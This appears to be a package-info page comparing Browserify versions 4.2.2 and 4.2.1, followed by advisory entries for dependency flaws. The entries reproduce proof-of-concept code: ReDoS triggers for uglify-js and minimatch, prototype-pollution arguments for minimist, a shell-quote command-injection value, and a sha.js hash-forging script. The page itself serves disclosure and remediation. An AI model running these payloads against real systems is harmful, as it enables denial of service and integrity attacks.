Browserify is a powerful tool that lets you use Node.js-style require() statements in your browser-side JavaScript, streamlining development and code organization. Comparing versions 4.2.2 and 4.2.1 reveals subtle but potentially impactful updates. Both versions share the same core functionality and a broad set of dependencies including umd for universal module definitions, glob for file pattern matching, and xtend for object extension - key for developers needing modular, browser-compatible code.
Examining the release dates shows a very recent update, with version 4.2.2 released just a few days after 4.2.1, suggesting a quick fix or small enhancement. Diving deeper, the dependencies remain identical between the two versions. This indicates that the core functionality and APIs developers rely on haven't significantly changed. For developers, sticking to either version should be safe and not demand immediate re-writes. However, upgrading to 4.2.2 is generally recommended. This is because minor releases like this often address bug fixes, security vulnerabilities, or performance improvements that may not be explicitly documented but contribute to a more stable and reliable development experience. While no dependencies changed, it implies Browserify fixed something internally to make the package more stable without adding new features or requiring developers to change their code when they upgrade.
All the vulnerabilities related to the version 4.2.2 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Prototype Pollution in minimist
Affected versions of minimist
are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object
, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted
adds a y
property with value Polluted
to all objects. The argument --__proto__=Polluted
raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist
.
Upgrade to versions 0.2.1, 1.2.3 or later.
Prototype Pollution in minimist
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js
, function setKey()
(lines 69-95).
Potential Command Injection in shell-quote
Affected versions of shell-quote
do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >
,;
,{
,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {}
and using the ,
instead of
to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.
sha.js is missing type checks leading to hash rewind and passing on crafted data
This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js
, as it has its own implementation.
Missing input type checks can allow types other than a well-formed Buffer
or string
, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
See PoC
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
Or just:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
{length: -x}
. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.{ length: buf.length, ...buf, 0: buf[0] + 256 }
This will result in the same hash as of buf
, but can be treated by other code differently (e.g. bn.js){length:'1e99'}